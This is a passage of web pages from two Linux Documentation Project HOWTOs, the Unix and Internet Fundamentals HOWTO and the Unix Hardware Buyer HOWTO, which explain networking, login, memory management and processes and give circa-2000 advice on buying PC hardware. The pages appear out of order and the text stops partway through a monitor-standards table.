Your machine then ships the packet down the wire (your connection to your ISP, or local network) until it gets to a specialized machine called a router. The router has a map of the Internet in its memory -- not always a complete one, but one that completely describes your network neighborhood and knows how to get to the routers for other neighborhoods on the Internet.

Your packet may pass through several routers on the way to its destination. Routers are smart. They watch how long it takes for other routers to acknowledge having received a packet. They also use that information to direct traffic over fast links. They use it to notice when another routers (or a cable) have dropped off the network, and compensate if possible by finding another route.

There's an urban legend that the Internet was designed to survive nuclear war. This is not true, but the Internet's design is extremely good at getting reliable performance out of flaky hardware in an uncertain world. This is directly due to the fact that its intelligence is distributed through thousands of routers rather than concentrated in a few massive and vulnerable switches (like the phone network). This means that failures tend to be well localized and the network can route around them.

Once your packet gets to its destination machine, that machine uses the service number to feed the packet to the web server. The web server can tell where to reply to by looking at the command packet's source IP address. When the web server returns this document, it will be broken up into a number of packets. The size of the packets will vary according to the transmission media in the network and the type of service.

12.4. TCP and IP

To understand how multiple-packet transmissions are handled, you need to know that the Internet actually uses two protocols, stacked one on top of the other.

The lower level, IP (Internet Protocol), is responsible for labeling individual packets with the source address and destination address of two computers exchanging information over a network. For example, when you access http://www.linuxdoc.org, the packets you send will have your computer's IP address, such as 192.168.1.101, and the IP address of the www.linuxdoc.org computer, 152.2.210.81. These addresses work in much the same way that your home address works when someone sends you a letter. The post office can read the address and determine where you are and how best to route the letter to you, much like a router does for Internet traffic.

The upper level, TCP (Transmission Control Protocol), gives you reliability. When two machines negotiate a TCP connection (which they do using IP), the receiver knows to send acknowledgements of the packets it sees back to the sender. If the sender doesn't see an acknowledgement for a packet within some timeout period, it resends that packet. Furthermore, the sender gives each TCP packet a sequence number, which the receiver can use you reassemble packets in case they show up out of order. (This can easily happen if network links go up or down during a connection.)

TCP/IP packets also contain a checksum to enable detection of data corrupted by bad links. (The checksum is computed from the rest of the packet in such a way that if the either the rest of the packet or the checksum is corrupted, redoing the computation and comparing is very likely to indicate an error.) So, from the point of view of anyone using TCP/IP and nameservers, it looks like a reliable way to pass streams of bytes between hostname/service-number pairs. People who write network protocols almost never have to think about all the packetizing, packet reassembly, error checking, checksumming, and retransmission that goes on below that level.

12.5. HTTP, an application protocol

Now let's get back to our example. Web browsers and servers speak an application protocol that runs on top of TCP/IP, using it simply as a way to pass strings of bytes back and forth. This protocol is called HTTP (Hyper-Text Transfer Protocol) and we've already seen one command in it -- the GET shown above.

When the GET command goes to www.linuxdoc.org's webserver with service number 80, it will be dispatched to a server daemon listening on port 80. Most Internet services are implemented by server daemons that do nothing but wait on ports, watching for and executing incoming commands.

If the design of the Internet has one overall rule, it's that all the parts should be as simple and human-accessible as possible. HTTP, and its relatives (like the Simple Mail Transfer Protocol, SMTP, that is used to move electronic mail between hosts) tend to use simple printable-text commands that end with a carriage-return/line feed.

This is marginally inefficient; in some circumstances you could get more speed by using a tightly-coded binary protocol. But experience has shown that the benefits of having commands be easy for human beings to describe and understand outweigh any marginal gain in efficiency that you might get at the cost of making things tricky and opaque.

Therefore, what the server daemon ships back to you via TCP/IP is also text. The beginning of the response will look something like this (a few headers have been suppressed):

HTTP/1.1 200 OK
Date: Sat, 10 Oct 1998 18:43:35 GMT
Server: Apache/1.2.6 Red Hat
Last-Modified: Thu, 27 Aug 1998 17:55:15 GMT
Content-Length: 2982
Content-Type: text/html

These headers will be followed by a blank line and the text of the web page (after which the connection is dropped). Your browser just displays that page. The headers tell it how (in particular, the Content-Type header tells it the returned data is really HTML).

Prev | Home | Next
How do computer languages work? |  | To Learn More


Introduction

The Unix and Internet Fundamentals HOWTO
Prev Next

1. Introduction

1.1. Purpose of this document

This document is intended to help Linux and Internet users who are learning by doing. While this is a great way to acquire specific skills, sometimes it leaves peculiar gaps in one's knowledge of the basics -- gaps which can make it hard to think creatively or troubleshoot effectively, from lack of a good mental model of what is really going on.

I'll try to describe in clear, simple language how it all works. The presentation will be tuned for people using Unix or Linux on PC-class hardware. Nevertheless, I'll usually refer simply to `Unix' here, as most of what I will describe is constant across platforms and across Unix variants.

I'm going to assume you're using an Intel PC. The details differ slightly if you're running an Alpha or PowerPC or some other Unix box, but the basic concepts are the same.

I won't repeat things, so you'll have to pay attention, but that also means you'll learn from every word you read. It's a good idea to just skim when you first read this; you should come back and reread it a few times after you've digested what you have learned.

This is an evolving document. I intend to keep adding sections in response to user feedback, so you should come back and review it periodically.

1.2. New versions of this document

New versions of the Unix and Internet Fundamentals HOWTO will be periodically posted to comp.os.linux.help and comp.os.linux.announce and news.answers. They will also be uploaded to various Linux WWW and FTP sites, including the LDP home page.

You can view the latest version of this on the World Wide Web via the URL http://www.linuxdoc.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/index.html.

This document has been translated into Polish.

1.3. Feedback and corrections

If you have questions or comments about this document, please feel free to mail Eric S. Raymond, at esr@thyrsus.com. I welcome any suggestions or criticisms. I especially welcome hyperlinks to more detailed explanations of individual concepts. If you find a mistake with this document, please let me know so I can correct it in the next version. Thanks.

1.4. Related resources

If you're reading this in order to learn how to hack, you should also read the How To Become A Hacker FAQ. It has links to some other useful resources.

Prev | Home | Next
The Unix and Internet Fundamentals HOWTO |  | Basic anatomy of your computer


How do computer languages work?

The Unix and Internet Fundamentals HOWTO
Prev Next

11. How do computer languages work?

We've already discussed how programs are run. Every program ultimately has to execute as a stream of bytes that are instructions in your computer's machine language. But human beings don't deal with machine language very well; doing so has become a rare, black art even among hackers.

Almost all Unix code except a small amount of direct hardware-interface support in the kernel itself is nowadays written in a high-level language. (The `high-level' in this term is a historical relic meant to distinguish these from `low-level' assembler languages, which are basically thin wrappers around machine code.)

There are several different kinds of high-level languages. In order to talk about these, you'll find it useful to bear in mind that the source code of a program (the human-created, editable version) has to go through some kind of translation into machine code that the machine can actually run.

11.1. Compiled languages

The most conventional kind of language is a compiled language. Compiled languages get translated into runnable files of binary machine code by a special program called (logically enough) a compiler. Once the binary has been generated, you can run it directly without looking at the source code again. (Most software is delivered as compiled binaries made from code you don't see.)

Compiled languages tend to give excellent performance and have the most complete access to the OS, but also to be difficult to program in.

C, the language in which Unix itself is written, is by far the most important of these (with its variant C++). FORTRAN is another compiled language still used among engineers and scientists but years older and much more primitive. In the Unix world no other compiled languages are in mainstream use. Outside it, COBOL is very widely used for financial and business software.

There used to be many other compiler languages, but most of them have either gone extinct or are strictly research tools. If you are a new Unix developer using a compiled language, it is overwhelmingly likely to be C or C++.

11.2. Interpreted languages

An interpreted language depends on an interpreter program that reads the source code and translates it on the fly into computations and system calls. The source has to be re-interpreted (and the interpreter present) each time the code is executed.

Interpreted languages tend to be slower than compiled languages, and often have limited access to the underlying operating system and hardware. On the other hand, they tend to be easier to program and more forgiving of coding errors than compiled languages.

Many Unix utilities, including the shell and bc(1) and sed(1) and awk(1), are effectively small interpreted languages. BASICs are usually interpreted. So is Tcl. Historically, the most important interpretive language has been LISP (a major improvement over most of its successors). Today, Unix shells and the Lisp that lives inside the Emacs editor are probably the most important pure interpreted languages.

11.3. P-code languages

Since 1990 a kind of hybrid language that uses both compilation and interpretation has become increasingly important. P-code languages are like compiled languages in that the source is translated to a compact binary form which is what you actually execute, but that form is not machine code. Instead it's pseudocode (or p-code), which is usually a lot simpler but more powerful than a real machine language. When you run the program, you interpret the p-code.

P-code can run nearly as fast as a compiled binary (p-code interpreters can be made quite simple, small and speedy). But p-code languages can keep the flexibility and power of a good interpreter.

Important p-code languages include Python, Perl, and Java.

Prev | Home | Next
How does my computer store things on disk? |  | How does the Internet work?


What happens when you log in?

The Unix and Internet Fundamentals HOWTO
Prev Next

4. What happens when you log in?

When you log in (give a name to getty) you identify yourself to the computer. It then runs a program called (naturally enough) login, which takes your password and checks to see if you are authorized to be using the machine. If you aren't, your login attempt will be rejected. If you are, login does a few housekeeping things and then starts up a command interpreter, the shell. (Yes, getty and login could be one program. They're separate for historical reasons not worth going into here.)

Here's a bit more about what the system does before giving you a shell (you'll need to know this later when we talk about file permissions). You identify yourself with a login name and password. That login name is looked up in a file called /etc/passwd, which is a sequence of lines each describing a user account.

One of these fields is an encrypted version of the account password (sometimes the encrypted fields are actually kept in a second /etc/shadow file with tighter permissions; this makes password cracking harder). What you enter as an account password is encrypted in exactly the same way, and the login program checks to see if they match. The security of this method depends on the fact that, while it's easy to go from your clear password to the encrypted version, the reverse is very hard. Thus, even if someone can see the encrypted version of your password, they can't use your account. (It also means that if you forget your password, there's no way to recover it, only to change it to something else you choose.)

Once you have successfully logged in, you get all the privileges associated with the individual account you are using. You may also be recognized as part of a group. A group is a named collection of users set up by the system administrator. Groups can have privileges independently of their members' privileges. A user can be a member of multiple groups. (For details about how Unix privileges work, see the section below on permissions.)

(Note that although you will normally refer to users and groups by name, they are actually stored internally as numeric IDs. The password file maps your account name to a user ID; the /etc/group file maps group names to numeric group IDs. Commands that deal with accounts and groups do the translation automatically.)

Your account entry also contains your home directory, the place in the Unix file system where your personal files will live. Finally, your account entry also sets your shell, the command interpreter that login will start up to accept your commmands.

Prev | Home | Next
What happens when you switch on a computer? |  | What happens when you run programs from the shell?


How does my computer keep processes from stepping on each other?

The Unix and Internet Fundamentals HOWTO
Prev Next

8. How does my computer keep processes from stepping on each other?

The kernel's scheduler takes care of dividing processes in time. Your operating system also has to divide them in space, so that processes can't step on each others' working memory. Even if you assume that all programs are trying to be cooperative, you don't want a bug in one of them to be able to corrupt others. The things your operating system does to solve this problem are called memory management.

Each process in your zoo needs its own area of memory, as a place to run its code from and keep variables and results in. You can think of this set as consisting of a read-only code segment (containing the process's instructions) and a writeable data segment (containing all the process's variable storage). The data segment is truly unique to each process, but if two processes are running the same code Unix automatically arranges for them to share a single code segment as an efficiency measure.

8.1. Virtual memory: the simple version

Efficiency is important, because memory is expensive. Sometimes you don't have enough to hold the entirety of all the programs the machine is running, especially if you are using a large program like an X server. To get around this, Unix uses a technique called virtual memory. It doesn't try to hold all the code and data for a process in memory. Instead, it keeps around only a relatively small working set; the rest of the process's state is left in a special swap space area on your hard disk.

Note that in the past, that "Sometimes" last paragraph ago was "Almost always" -- the size of memory was typically small relative to the size of running programs, so swapping was frequent. Memory is far less expensive nowadays and even low-end machines have quite a lot of it. On modern single-user machines with 64MB of memory and up, it's possible to run X and a typical mix of jobs without ever swapping after they're initially loded into core.

8.2. Virtual memory: the detailed version

Actually, the last section oversimplified things a bit. Yes, programs see most of your memory as one big flat bank of addresses bigger than physical memory, and disk swapping is used to maintain that illusion. But your hardware actually has no fewer than five different kinds of memory in it, and the differences between them can matter a good deal when programs have to be tuned for maximum speed. To really understand what goes on in your machine, you should learn how all of them work.

The five kinds of memory are these: processor registers, internal (or on-chip) cache, external (or off-chip) cache, main memory, and disk. And the reason there are so many kinds is simple: speed costs money. I have listed these kinds of memory in decreasing order of access time and increasing order of cost. Register memory is the fastest and most expensive and can be random-accessed about a billion times a second, while disk is the slowest and cheapest and can do about 100 random accesses a second.

Here's a full list reflecting early-2000 speeds for a typical desktop machine. While speed and capacity will go up and prices will drop, you can expect these ratios to remain fairly constant -- and it's those ratios that shape the memory hierarchy.

Disk

Size: 13000MB Accesses: 100KB/sec

Main memory

Size: 256MB Accesses: 100M/sec

External cache

Size: 512KB Accesses: 250M/sec

Internal Cache

Size: 32KB Accesses: 500M/sec

Processor

Size: 28 bytes Accesses: 1000M/sec

We can't build everything out of the fastest kinds of memory. It would be way too expensive -- and even if it weren't, fast memory is volatile. That is, it loses its marbles when the power goes off. Thus, computers have to have hard disks or other kinds of non-volatile storage that retains data when the power goes off. And there's a huge mismatch between the speed of processors and the speed of disks. The middle three levels of the memory hierarchy (internal cache, external cache, and main memory) basically exist to bridge that gap.

Linux and other Unixes have a feature called virtual memory. What this means is that the operating system behaves as though it has much more main memory than it actually does. Your actual physical main memory behaves like a set of windows or caches on a much larger "virtual" memory space, most of which at any given time is actually stored on disk in a special zone called the swap area. Out of sight of user programs, the OS is moving blocks of data (called "pages") between memory and disk to maintain this illusion. The end result is that your virtual memory is much larger but not too much slower than real memory.

How much slower virtual memory is than physical depends on how well the operating system's swapping algorithms match the way your programs use virtual memory. Fortunately, memory reads and writes that are close together in time also tend to cluster in memory space. This tendency is called locality, or more formally locality of reference -- and it's a good thing. If memory references jumped around virtual space at random, you'd typically have to do a disk read and write for each new reference and virtual memory would be as slow as a disk. But because programs do actually exhibit strong locality, your operating system can do relatively few swaps per reference.

It's been found by experience that the most effective method for a broad class of memory-usage patterns is very simple; it's called LRU or the "least recently used" algorithm. The virtual-memory system grabs disk blocks into its working set as it needs them. When it runs out of physical memory for the working set, it dumps the least-recently-used block. All Unixes, and most other virtual-memory operating systems, use minor variations on LRU.

Virtual memory is the first link in the bridge between disk and processor speeds. It's explicitly managed by the OS. But there is still a major gap between the speed of physical main memory and the speed at which a processor can access its register memory. The external and internal caches address this, using a technique similar to virtual memory as I've described it.

Just as the physical main memory behaves like a set of windows or caches on the disk's swap area, the external cache acts as windows on main memory. External cache is faster (250M accesses per sec, rather than 100M) and smaller. The hardware (specifically, your computer's memory controller) does the LRU thing in the external cache on blocks of data fetched from the main memory. For historical reasons, the unit of cache swapping is called a "line" rather than a page.

But we're not done. The internal cache gives us the final step-up in effective speed by caching portions of the external cache. It is faster and smaller yet -- in fact, it lives right on the processor chip.

If you want to make your programs really fast, it's useful to know these details. Your programs get faster when they have stronger locality, because that makes the caching work better. The easiest way to make programs fast is therefore to make them small. If a program isn't slowed down by lots of disk I/O or waits on network events, it will usually run at the speed of the smallest cache that it will fit inside.

If you can't make your whole program small, some effort to tune the speed-critical portions so they have stronger locality can pay off. Details on techniques for doing such tuning are beyond the scope of this tutorial; by the time you need them, you'll be intimate enough with some compiler to figure out many of them yourself.

8.3. The Memory Management Unit

Even when you have enough physical core to avoid swapping, the part of the operating system called the memory manager still has important work to do. It has to make sure that programs can only alter their own data segments -- that is, prevent erroneous or malicious code in one program from garbaging the data in another. To do this, it keeps a table of data and code segments. The table is updated whenever a process either requests more memory or releases memory (the latter usually when it exits).

This table is used to pass commands to a specialized part of the underlying hardware called an MMU or memory management unit. Modern processor chips have MMUs built right onto them. The MMU has the special ability to put fences around areas of memory, so an out-of-bound reference will be refused and cause a special interrupt to be raised.

If you ever see a Unix message that says "Segmentation fault", "core dumped" or something similar, this is exactly what has happened; an attempt by the running program to access memory (core) outside its segment has raised a fatal interrupt. This indicates a bug in the program code; the core dump it leaves behind is diagnostic information intended to help a programmer track it down.

There is another aspect to protecting processes from each other besides segregating the memory they access. You also want to be able to control their file accesses so a buggy or malicious program can't corrupt critical pieces of the system. This is why Unix has file permissions which we'll discuss later.

Prev | Home | Next
How does my computer do several things at once? |  | How does my computer store things in memory?


To Learn More

The Unix and Internet Fundamentals HOWTO
Prev

13. To Learn More

There is a Reading List HOWTO that lists books you can read to learn more about the topics we have touched on here. You might also want to read the How To Become A Hacker document.

Prev | Home
How does the Internet work? |


How does my computer do several things at once?

The Unix and Internet Fundamentals HOWTO
Prev Next

7. How does my computer do several things at once?

It doesn't, actually. Computers can only do one task (or process) at a time. But a computer can change tasks very rapidly, and fool slow human beings into thinking it's doing several things at once. This is called timesharing.

One of the kernel's jobs is to manage timesharing. It has a part called the scheduler which keeps information inside itself about all the other (non-kernel) processes in your zoo. Every 1/60th of a second, a timer goes off in the kernel, generating a clock interrupt. The scheduler stops whatever process is currently running, suspends it in place, and hands control to another process.

1/60th of a second may not sound like a lot of time. But on today's microprocessors it's enough to run tens of thousands of machine instructions, which can do a great deal of work. So even if you have many processes, each one can accomplish quite a bit in each of its timeslices.

In practice, a program may not get its entire timeslice. If an interrupt comes in from an I/O device, the kernel effectively stops the current task, runs the interrupt handler, and then returns to the current task. A storm of high-priority interrupts can squeeze out normal processing; this misbehavior is called thrashing and is fortunately very hard to induce under modern Unixes.

In fact, the speed of programs is only very seldom limited by the amount of machine time they can get (there are a few exceptions to this rule, such as sound or 3-D graphics generation). Much more often, delays are caused when the program has to wait on data from a disk drive or network connection.

An operating system that can routinely support many simultaneous processes is called "multitasking". The Unix family of operating systems was designed from the ground up for multitasking and is very good at it -- much more effective than Windows or the Mac OS, which have had multitasking bolted into it as an afterthought and do it rather poorly. Efficient, reliable multitasking is a large part of what makes Linux superior for networking, communications, and Web service.

Prev | Home | Next
How do input devices and interrupts work? |  | How does my computer keep processes from stepping on each other?


What happens when you run programs from the shell?

The Unix and Internet Fundamentals HOWTO
Prev Next

5. What happens when you run programs from the shell?

The shell is Unix's interpreter for the commands you type in; it's called a shell because it wraps around and hides the operating system kernel. It's an important feature of Unix that the shell and kernel are separate programs communicating through a small set of system calls. This makes it possible for there to be multiple shells, suiting different tastes in interfaces.

The normal shell gives you the '$' prompt that you see after logging in (unless you've customized it to be something else). We won't talk about shell syntax and the easy things you can see on the screen here; instead we'll take a look behind the scenes at what's happening from the computer's point of view.

After boot time and before you run a program, you can think of your computer as containing a zoo of processes that are all waiting for something to do. They're all waiting on events. An event can be you pressing a key or moving a mouse. Or, if your machine is hooked to a network, an event can be a data packet coming in over that network.

The kernel is one of these processes. It's a special one, because it controls when the other user processes can run, and it is normally the only process with direct access to the machine's hardware. In fact, user processes have to make requests to the kernel when they want to get keyboard input, write to your screen, read from or write to disk, or do just about anything other than crunching bits in memory. These requests are known as system calls.

Normally all I/O goes through the kernel so it can schedule the operations and prevent processes from stepping on each other. A few special user processes are allowed to slide around the kernel, usually by being given direct access to I/O ports. X servers (the programs that handle other programs' requests to do screen graphics on most Unix boxes) are the most common example of this. But we haven't gotten to an X server yet; you're looking at a shell prompt on a character console.

The shell is just a user process, and not a particularly special one. It waits on your keystrokes, listening (through the kernel) to the keyboard I/O port. As the kernel sees them, it echoes them to your screen. When the kernel sees an `Enter' it passes your line of text to the shell. The shell tries to interpret those keystrokes as commands.

Let's say you type `ls' and Enter to invoke the Unix directory lister. The shell applies its built-in rules to figure out that you want to run the executable command in the file `/bin/ls'. It makes a system call asking the kernel to start /bin/ls as a new child process and give it access to the screen and keyboard through the kernel. Then the shell goes to sleep, waiting for ls to finish.

When /bin/ls is done, it tells the kernel it's finished by issuing an exit system call. The kernel then wakes up the shell and tells it it can continue running. The shell issues another prompt and waits for another line of input.

Other things may be going on while your `ls' is executing, however (we'll have to suppose that you're listing a very long directory). You might switch to another virtual console, log in there, and start a game of Quake, for example. Or, suppose you're hooked up to the Internet. Your machine might be sending or receiving mail while /bin/ls runs.

Prev | Home | Next
What happens when you log in? |  | How do input devices and interrupts work?


Hardware for Backups

The Unix Hardware Buyer HOWTO
Prev Next

5. Hardware for Backups

You should have a tape drive for backup. Ideally, your tape backup should be able to image your entire disk. Choosing a tape drive used to be pretty complicated, with a plethora of different formats and media to chose from. It's much simpler now that the combination of cheap CD-ROM drives and huge hard disks has effectively killed off QIC and other sub-megabyte formats. These advances have also killed off a bunch of niche technologies for backup, including floptical disks, Bernoulli boxes, Iomega and SyQuest removable drives, and magneto-optical drives -- though the latter have survived as casual transfer media -- that is, as a sort of super-capable floppy replacement)

Some people like to burn CDs for backup. While this is a good way to archive precious data, the capacity is too low and the media cost too high for serious use. Rewritable CD-RWs do make a very nice transfer medium, however.

Digital Data Storage (DDS) capacities are a good match for today's multi-gigabyte drives (this is essentially the same technology as Digital Audio Tape or DAT). I'm told that Hewlett-Packard DDS devices are especially good, not surprising given HP's traditional obsession with reliability and overengineering stuff. All the DDSs I know about are SCSI devices.

At the high end, 8mm helical-scan tape (the stuff used in Sony camcorders) used to compete with DDS, but DDS drives have now outstripped it in capacity and transfer speed. A couple of other tape technologies (notably DLT) still do, but their media are extremely expensive.

Here's a quick summary of the major alternative DDS formats:

Table 2. DDS types

Type | Gigabytes (uncompressed) | Gigabytes (compressed) | Speed (Kbytes/sec)
DDS-1 60-meter | 1.3 | 2-4 | 183-366
DDS-1 90-meter | 2 | 4-8 | 183-366
DDS-2 120-meter | 5 | 7-12 | 183-500
DDS-3 120-meter | 12 | 24 | 700
DDS-4 120-meter | 20 | 40 | 1100

DDS tape drives (and tapes) come actually in five variants: DDS, DDS-DC, DDS-2, DDS-3, and DDS-4. These are supposed to be downward compatible (e.g. DDS-2 reads/writes DDS-DC but not vice versa.) DDS and DDS-DC use 60m and 90m tapes; the -DC version adds hardware compression. DDS (non-DC) and DDS2 should be considered obsolete.

The DDS-3 and DDS-4 standards support higher density on the tape. DDS-4 is bleeding edge (high premium), but DDS-3 is coming down now, and can make the difference between single-tape and and multi-tape backups (which can often make the difference between daily backups and "why didn't I..." hand-wringing.)

Don't forget to put the cost of cleaning tapes into your budget. If a DDS drive gets dirty heads (determined by the read-after-write error rate), it will stop working until the heads are cleaned. DDS drives typically start complaining after about 50 full-tape operations.

SCSI tapes and DDS3 and below normally have the "narrow" 50-pin connector. If your controller is "wide" (68 pins) you'll need a cable adapter. Better yet is to put a cheap SCSI controller like an AHA 154x in the machine just for the tape -- otherwise you might end up plugging a tape drive with a single-ended electrical interface into a controller with a voltage-differential interface and dragging down the speed of every device on the bus.

Prev | Home | Next
Performance Tuning |  | Of Mice And Machines


Buying the Basics

The Unix Hardware Buyer HOWTO
Prev Next

3. Buying the Basics

In this section, we cover things to look out for that are more or less independent of price-performance tradeoffs, part of your minimum system for running Unix.

Issues like your choice of disk, processor, and bus (where there is a strong tradeoff between price and capability) are covered in the section on performance tuning.

3.1. Getting Down to Cases

I used to say that cases are just bent metal, and that it doesn't much matter who makes those, as long as they're above an easy minimum quality (on some really cheap ones, cards fail to line up nicely with the slots, drive bays don't align with the access cutouts, or the motherboard is ill-supported and can ground out against the chassis).

Unfortunately, this isn't true any more. Processors run so hot these days that fans and airflow are a serious concern. They need to be well designed for proper airflow throughout.

If you're fussy about RFI (Radio-Frequency Interference), it's worth finding out whether the plastic parts of the case have conductive coating on the inside; that will cut down emissions significantly, but a few cheap cases omit it.

Look for the following quality features:

  • Aluminum rather than steel. It's lighter and conducts heat better.

  • Unobstructed air intake with at least one fan each (in addition to the power supply and processor fans)

  • No sharp metal edges. You doon't want to shred your hands when you're tinkering with things.

  • There shouldn't be any hot spots (poor air flow).

  • Sturdy card clips. Some poorly-designed cases allow cards to wiggle out of their slots.

  • Effective and easy to use mechanisms for attaching hard drives, CD-ROM, CD-R/W, DVD, tape drive etc.

Should you buy a desktop or tower case? Our advice is go with tower unless you're building a no-expansions personal system and expect to be using the floppies a lot. Many vendors charge nothing extra for a tower case and the absolute maximum premium I've seen is $100. What you get for that is less desktop clutter, more and bigger bays for expansion, and often (perhaps most importantly) a beefed-up power-supply and fan. Putting the box and its fan under a table is good for maybe 5db off the effective noise level, too. Airflow is also an issue; if the peripheral bays are less cramped, you get better cooling. Be prepared to buy extension cables for your keyboard and monitor, though; vendors almost never include enough flex.

The airflow thing is a good argument for a full- or mid-tower rather than the `baby tower' cases some vendors offer. However, smaller towers are getting more attractive as boards and devices shrink and more functions migrate onto the motherboard. A state of the art system, with all 3" disks, 300W power supply, half-size motherboard, on-board IDE and 64meg of RAM sockets, and half-sized expansion cards, will fit into a baby or midized tower with ample room for expansion; and the whole thing will fit under a desk and make less noise than a classic tower.

For users with really heavy expansibility requirements, rackmount PC cases do exist (ask prospective vendors). Typically a rackmount case will have pretty much the same functionality as an ordinary PC case. But, you can then buy drive racks (complete with power supply), etc. to expand into. Also, you can buy passive backplanes with up to 20 or so slots. You can either put a CPU card in one of the slots, or connect it to an ordinary motherboard through one of the slots.

I've recently become a big fan of Antec cases. They're inexpensive, sturdy, and thoughtfully engineered.

3.2. Power Supplies and Fans

Power supplies can matter but quality is cheap; give preference to those with a Underwriter's Laboratories rating. There's some controversy over optimum wattage level. On the one hand, you want enough wattage for expansion. On the other, big supplies are noisier, and if you draw too little current for the rating the delivered voltage can become unstable. And the expected wattage load from peripherals is dropping steadily. On the other hand, processors and their cooling fans eat a lot more power than they used to.

The choice is generally between 200W and 300W. After some years of deprecating 300W-and-up supplies, I'm now persuaded it's time to go back to them; a modern processor can consume 50-75W by itself, and for the newer dual-processor board the power supply needs to be rated 450W or up.

Quality brands include PC Power and Cooling, Antec and Sparkle. A lot of no-name power supplies are out of spec; this is an area where buying a name brand is good tactics (the price premium won't be large).

About that annoying fan noise, ask if the power-supply fan on a target system has a variable speed motor with thermostatic control; this will cut down on noise tremendously. However, be aware that a thermostatic sensor basically measures the temperature at the sensor (typically within the power supply box) and makes sure there is enough airflow to keep the power supply from overheating. The sensor does not know a thing about the temperature in certain hot spots likely to develop in a PC case (CPU, between SIMMs, between drives mounted in vertically adjacent bays).

This can be a problem, because in garden variety tower cases there often isn't enough airflow to cool all components effectively even if a single fan is going at full speed. This is especially true if your computer has lots of add-on cards or hard disks (not much airflow between cards or between drives). Note that the fan in the power supply was basically designed to cool the power supply, not the components in the case. Not providing additional fans is a sign of cheapness. On tower PCs with "expensive" engineering (e.g. HP Vectra, Compaq) one will find one to two extra fans besides the one in the power supply.

So the bottom line is, use thermostatic controls if you can to cut noise. But if you want high reliability, use two or more fans. Modern designs normally also have a small auxilliary fan mounted right over the chip.

The noise produced by a fan is not just a function of the speed with which it turns. It also depends on the nature of the airflow produced by the fan blades and the bearings of the rotor. If the blades causes lots of turbulent airflow, the fan produces lots of noise. One brand of fans that is much more silent than most others even if going at full throttle is Papst.

3.3. Motherboards

Provided you exercise a little prudence and stay out of the price basement, motherboards and BIOS chips don't vary much in quality. There are only six or so major brands of motherboard inside all those cases and they're pretty much interchangeable; brand premiums are low to nonexistent and cost is strictly tied to maximum speed and bus type. Unless you're buying from a "name" outfit like Compaq, Dell, or AST that rolls its own motherboards and BIOSes, there are only four major brands of BIOS chip (AMI, Phoenix, Mylex, Award) and not much to choose between 'em but the look of the self-test screens. One advantage Unix buyers have is that Unixes are built not to rely on the BIOS code (because it can't be used in protected mode without more pain than than it's worth). If your BIOS will boot properly, you're usually going to be OK.

The old ``AT'' and ``Baby AT'' motherboard form factors are obsolete. It's an ATX world now.

There are still a few potential gotchas to beware of, especially in the cheaper off-brand boards. One is ``shadow RAM'', a trick some boards use for speeding up DOS by copying the ROM contents into RAM at startup. It should be possible to disable this. Also, on a cacheing motherboard, you need to be able to disable cacheing in the memory areas used by expansion cards. Some cheap motherboards fail to pass bus-mastering tests and so are useless for use with a good SCSI interface; on others, the bus gets flaky when its turbo (high-speed) mode is on. Fortunately, these problems aren't common and are becoming less so.

You can avoid both dangerously fossilized hardware and these little gotchas by sticking with a system or motherboard design that's been tested with Unix.

Some other good features to look for in a motherboard include:

  • Gold-plated contacts in the expansion slots and RAM sockets. Base-metal contacts tend to grow an oxidation layer which can cause intermittent connection faults that look like bad RAM chips or boards. (This is why, if your hardware starts flaking out, one of the first things to do is jiggle or remove the boards and reseat them, and press down on the RAM chips to reseat them as well -- this may break up the oxidation layer. If this doesn't work, rubbing what contacts you can reach with a soft eraser is a good fast way to remove the oxidation film. Beware, some hard erasers, including many pencil erasers, can strip off the plating, too!)

  • The board should be speed-rated as high as your processor, of course. It's good if it's rated higher, so upgrade to a faster processor is just a matter of dropping in the chip and a new crystal.

  • Voltage, temperature and fan speed monitoring hardware. This is now common on motherboards based on recent iterations of the Intel support chips, especially those designed for server use. Linux supports drivers that can read this hardware, and monitoring can help you spot incipient board failures.

If you're changing a motherboard, see the Installing a Motherboard page first. This one even has a Linux note.

3.4. Memory

All current PC designs include a cacheing memory controller and some fast on-chip cache that combine to produce higher effective speeds. Judging the cache design used to be one of the trickiest parts of the motherboard, but that stuff is all baked into the processor itself now.

Current motherboards use PC100 or PC133 SDRAM, which comes packaged on 168 pin DIMM modules. SDRAM is a large step forward in memory speed, at 10ns. SDRAM does not need to be installed in pairs. The key words you want to see on the spec sheet are:

  • SDRAM DIMM -- the physical module type.

  • ECC -- support for error correcting memory, important for reliability; Unix makes more efficient use of hardware and thus beats on your memory harder than Windows does. Be sure your motherboard supports ECC and note that "ECC compatible" is marketing manure for a board that alllows you to use ECC memory but doesn't use the ECC.

  • PC100 -- this is the memory-module specification for current motherboards with a 100MHz Memory Bus support. This is minimum; PC133 or PC266 is better.

  • 16x72 -- if it says 16x64, the extra 8 bits per 64 needed for ECC are not present.

For current motherboards with 133MHz Memory Bus support, PC133 should be used instead of PC100; it gives 33% greater memory bandwidth at very little additional cost. DDR-SDRAM and RDRAM are faster memory types that retrieve data in chunks and give you faster throughput. So-called `PC266' memory is designed for motherboards that transfer at 133 but double the width of the front-side bus connecting processor and memory.

As the throughput of processor-to-memory buses rises, memory latency (bus cycles required for the first fetch in a chunk) is becoming a more important statistic. Lower numbers are better.

For more technical stuff on memory architectures, see The Ultimate Memory Guide maintained by Kingston Technologies.

3.5. Buying a Video Card

Video controllers translate byte values deposited in their video memory by your GUI (usually an X server under Linux) into an analog RGB signal which drives your monitor. The simplest kinds treat their video memory as one big frame buffer, requiring the CPU to do all dot-painting. More sophisticated ``accelerated'' cards offer operations such as BitBlt so your X server can hack the video memory algorithmically. These days almost all cards even at the low end actually have some acceleration features.

Cards are rated by the maximum number of analog signal changes they can produce per second (video bandwidth). Video bandwidth can be used to buy varying combinations of screen resolution and refresh speed, depending on your monitor's capabilities.

Another important variable of video cards is the size of their on-board video RAM. Increased memory lets you run more colors at higher resolutions. For instance, a 1MB card usually will only allow 256 colors at 1024x768 while a 2MB card usually allows at least 16-bit color (a palette of about 65,000 colors). You'll need 4MB of video memory to use 24-bit or ``true'' color (16 million colors) at 1024x768.

The card's video RAM size has no effect on its speed. What does affect speed is the type of memory on board. VRAM (Video Random Access Memory) is fast but more expensive; it features a dual-ported design allowing two devices (the CRT controller and the CPU) to access the memory at the same time. DRAM (Dynamic Random Access Memory) is is similar to the RAM used in main memories. It is cheaper, more common, and slower (because the CRT controller and the CPU must take turns accessing the video buffer).

A quick review of monitor standards:

Table 1. Monitor standards

Name | Resolution | Colors | Horizontal Frequency | Vertical Frequency | Notes
MDA | 720x350 |  | 18.43 KHz | 50 Hz | Obsolete
